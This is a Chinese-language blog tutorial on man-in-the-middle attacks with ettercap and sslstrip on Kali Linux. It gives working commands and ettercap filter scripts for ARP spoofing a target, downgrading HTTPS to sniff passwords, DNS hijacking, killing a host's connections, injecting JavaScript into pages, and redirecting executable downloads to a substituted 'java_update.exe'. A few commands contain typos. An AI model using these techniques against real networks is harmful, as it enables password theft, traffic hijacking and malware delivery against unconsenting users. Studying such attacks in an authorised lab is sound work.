• ettercap 实施中间人攻击


    中间人攻击(Man-in-the-MiddleAttack 简称"MITM攻击")中间人攻击很早就成为了黑客常用的一种古老的攻击手段,并且一直到如今还具有极大的扩展空间,在网络安全方面,MITM攻击的使用是很广泛的,曾经猖獗一时的SMB会话劫持、DNS欺骗等技术都是典型的MITM攻击手段.在黑客技术越来越多的运用于以获取经济利益为目标的情况下时,MITM攻击成为对网银、网游、网上交易等最有威胁并且最具破坏性的一种攻击方式,

    随着计算机通信网技术的不断发展,MITM攻击也越来越多样化.最初,攻击者只要将网卡设为混杂模式,伪装成代理服务器监听特定的流量就可以实现攻击,这是因为很多通信协议都是以明文来进行传输的,如HTTP、FTP、Telnet等.后来,随着交换机代替集线器,简单的嗅探攻击已经不能成功,必须先进行ARP欺骗才行.如今,越来越多的服务商开始采用加密通信 SSL(Secure Sockets Layer 安全套接层)是一种广泛使用的技术,HTTPS、FTPS等都是建立在其基础上的.

    今天要将的主要是基于Ettercap的中间人攻击,一般常用的中间人攻击无外乎四种:ARP缓存投毒,ICMP重定向,端口监听,DHCP欺骗.在这里要介绍一下ARP欺骗、DNS欺骗、会话劫持、密码嗅探以及SSL加密的密码嗅探.其实Ettercap的功能是很强大的,从它的插件就可以看到功能有,发现可疑ARP活动、ARP响应、DNS欺骗、Dos攻击、发现连接(交换环境)、发现Ettercap活动、列出子网未使用的IP、隔离主机、MAC泛洪、ssltrip等.

    Dsniff包中的工具基本上可以分为四类:

    1.纯粹被动地进行网络活动监视的工具,包括:dsniff、filesnarf、mailsnarf、msgsnarf、urlsnarf、webspy、sshow
    2.针对SSH和SSL的MITM"攻击"工具,包括sshmitm和webmitm
    3.发起主动欺骗的工具,包括:arpspoof、dnsspoof、macof
    4.其它工具,包括tcpkill、tcpnice

    HTTP模式嗅探

    1.在Kali系统下运行下面的代码片段,就可以实现http模式的嗅探了.

    ettercap -i eth0 -T -M arp:remote /192.168.1.100// /192.168.1.1//
    
    -T 文字模式显示
    -M 指定为双向arp欺骗
    /192.168.1.100// 为要攻击的IP地址
    /192.168.1.1// 本地的网关地址
    
    
    driftnet -i eth0   截取图片
    urlsnarf -i eth0   截取URL
    

    HTTPS降级嗅探

    1.通过命令收集局域网的IP地址信息,和网关等.

    
    ifcofing       命令查看当前网关
    netdiscover    获取到当前目标IP
    

    2.启动ARP欺骗功能,运行下面代码

    ettercap -i eth0 -T -M arp:remote /192.168.1.100// /192.168.1.1//
    
    -i  指定网卡接口
    -T  文本显示模式
    -M 指定为双向arp欺骗
    /192.168.1.100// 为要攻击的IP地址
    /192.168.1.1// 本地的网关地址
    

    3.重新打开一个命令行窗口,分别执行下面三个命令行,过滤https协议将其转化成http

    echo 1 > /proc/sys/net/ipv4/ip_forward                                        开启数据重定向
    iptalbes -t nat -F                                                            暂时清空防火墙规则
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000  开启80端口的数据转发到10000端口  
    sslstrip -l 10000                                                             执行sslstrip欺骗,把网页中的https协议转换为http协议
    iptables -t nat -L                                                            查看iptables列表是否生效
    

    此时当用户浏览的网页中包含https协议,会被转化为http协议的请求.但是sslstrip也不是万能的,假如网页中没有https,但是js代码绑定了跳转到https的协议请求的事件,那么sslstrip就失效了.如果用户打开网页的时候请求就是https,会导致证书认证失败,网页一直打不开.

    4.下面开启欺骗工具,截获目标主机的图片流.

    driftnet -i eth0
    

    ## DNS域名劫持

    1.安装并启动apache服务程序,后期我们要将页面跳转到kali的http服务上.

    root@kali:~# echo "hello lyshark" > /var/www/html/index.html
    root@kali:~# systemctl restart apache2
    root@kali:~# systemctl status apache2
    
    ● apache2.service - The Apache HTTP Server
       Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
       Active: active (running) since Thu 2018-12-20 21:48:42 CST; 4s ago
      Process: 2521 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
     Main PID: 2532 (apache2)
    
    root@kali:~# curl 127.0.0.1
    hello lyshark
    

    2.通过使用netdiscover命令获取到主机信息,这里我们主要来确定一下192.168.1.1是网关192.168.1.100为被攻击主机.

    root@kali:~# netdiscover
    
    Currently scanning: 192.168.1.0/24   |   Screen View: Unique Hosts           
                                                                                   
     3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180               
     _____________________________________________________________________________
       IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
     -----------------------------------------------------------------------------
     192.168.1.1     11:72:se:c7:se:af      1      60  TP-LINK TECHNOLOGIES CO.,LTD
     192.168.1.3     ac:3s:ca:xf:g1:w8      1      60  GUANGDONG OPPO MOBILE TELECO
     192.168.1.100   f2:1e:28:4e:4c:s4      1      60  Dell Inc.
    

    3.配置地址,此处写入要跳转的页面地址.

    root@kali:~# ifconfig
    eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
            inet 192.168.1.8  netmask 255.255.255.0  broadcast 192.168.1.255    确认自身IP地址
    
    root@kali:~# vim /etc/ettercap/etter.dns 
    
    ################################
    # microsoft sucks ;)
    # redirect it to www.linux.org
    #
    
    *.com A 192.168.1.8     添加跳转页面,意思是只要是.com结尾的,跳转到本机IP
    *.org A 192.168.1.8
    
    microsoft.com      A   107.170.40.56
    *.microsoft.com    A   107.170.40.56
    www.microsoft.com  PTR 107.170.40.56      # Wildcards in PTR are not allowed
    

    4.开启转发,并启动中间人攻击.

    root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
    root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /192.168.1.100// /192.168.1.1//
    
    root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp // //     #针对所有主机
    

    此时被攻击主机,无论访问什么网站,都会跳转到本机的apache页面上,并看到hello lyshark的提示信息.

    Kill掉指定主机

    1.编写一个过滤脚本,下面的脚本名为etter.filter.kill,内容如下.

    root@kali:~# vim etter.filter.kill
    
    if (ip.src == '被攻击主机IP') {
          # sent the RST to both source and dest
          kill();
          # don't even forward the packet
          drop();
          msg("HaHa  has killed...
    ");
     }
    

    2.编译成ettercap可以识别的二进制的二进制文件.

    ettercap ./etter.filter.kill -o ./etter_kill.ef
    

    3.使用ettercap加载此脚本(-q 安静模式,即不显示数据包信息):

    ettercap -i eth0 -T -F ./etter_kill.ef -M arp:remote /192.168.1.100// /92.168.1.1// -q
    

    cd /usr/share/ettercap

    1.使用的过滤脚本为etter.filter.kill,如下

    vim ./etter.filter.kill
    
    if (ip.src == '10.0.0.16') {
          # sent the RST to both source and dest
          kill();
          # don't even forward the packet
          drop();
          msg("HaHa! a 2b(ip:10.0.0.16) has killed...
    ");
     }
    

    2.编译成ettercap可以识别的二进制的二进制文件

    ettercap ./etter.filter.kill -o ./etter_kill.ef  #编译生成配置文件
    

    3.使用ettercap加载此脚本(-q 安静模式,即不显示数据包信息):

    ettercap -i eth0 -T -F ./etter_kill.ef -M arp:remote /192.168.1.100// /92.168.1.1// -q
    

    替换网页的图片

    把浏览网页时的图片换掉试试,使用的脚本是etter.filter.images

    if (ip.proto == TCP && tcp.dst == 80) {
       if (search(DATA.data, "Accept-Encoding")) {
          replace("Accept-Encoding", "Accept-Rubbish!"); 
          # note: replacement string is same length as original string
          msg("zapped Accept-Encoding!
    ");
       }
    }
    if (ip.proto == TCP && tcp.src == 80) {
       replace("img src=", "img src="http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg" ");
       replace("IMG SRC=", "img src="http://www.iyi8.com/uploadfile/2014/0921/20140921113722651.jpg" ");
       msg("Filter Ran.
    ");
    }
    

    JavaSproit注入

    使用的脚本是etter.filter.alert,弹窗提示

    if (ip.proto == TCP && tcp.dst == 80) {
        if (search(DATA.data, "Accept-Encoding")) {
               replace("Accept-Encoding", "Accept-Rubbish!");
               msg("zapped Accept-Encoding!
    ");
        }
    }
    if (ip.proto == TCP && tcp.src == 80) {
        if (search(DATA.data, "<body>")) {
            replace("<head>","<head><script type="text/javascript">alert('just for a test!');</script>");
            replace("<HEAD>","<HEAD><script type="text/javascript">alert('just for a test');</script>");
            msg("Filter run!...Exploit code injected ok!
    ");
        }
    }
    

    替换URL

    # replace rmccurdy with your website
    # replace the url with what ever exe you like
    
    if (ip.proto == TCP && tcp.dst == 80) {
       if (search(DATA.data, "Accept-Encoding")) {
          replace("Accept-Encoding", "Accept-Rubbish!");
          # note: replacement string is same length as original string
          msg("zapped Accept-Encoding!n");
       }
    }
    if (ip.proto == TCP && tcp.src == 80) {
       replace("keep-alive", "close" ");
       replace("Keep-Alive", "close" ");
    }
    
    if (ip.proto == TCP && search(DATA.data, ": application") ){
       # enable for logging log(DECODED.data, "/tmp/log.log");
       msg("found EXEn");
       # "Win32" is the first part of the exe example:
       # if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc ..
       if (search(DATA.data, "Win32")) {
          msg("doing nothingn");
       } else {
          replace("200 OK", "301 Moved Permanently Location: http://127.0.0.1/java_update.exe ");
          msg("redirect successn");
       }
    }
    

    SSL密码嗅探

    对SSL流量的嗅探,可以使用sslstrip这个工具,它的原理就是把所有的https流量降级为http流量。

    相当于一个中间人的角色,它与服务器建立正常的https,而与浏览器则使用http连接。使用时需要本机开启流量转发,将80端口的http流量同时转发到10000端口上,在10000端口上使用sslstrip来监听即可:

    # echo 1 > /proc/sys/net/ipv4/ip_forward
    # iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
    # sslstrip -l 10000
    
  • 相关阅读:
    七牛php-sdk使用
    七牛php-sdk使用-多媒体处理
    七牛php-sdk使用-文档处理
    七牛php-sdk使用-文件上传
    php爬取微信文章内容
    php解决微信文章图片防盗链
    python2.7编译安装升级python3并安装Scrapy
    centos7安装配置supervisor守护进程
    vuejs+thinkphp5+phpsocketIO+timer数据及时更新
    docker常用命令
  • 原文地址:https://www.cnblogs.com/LyShark/p/10153685.html
Copyright © 2020-2023  润新知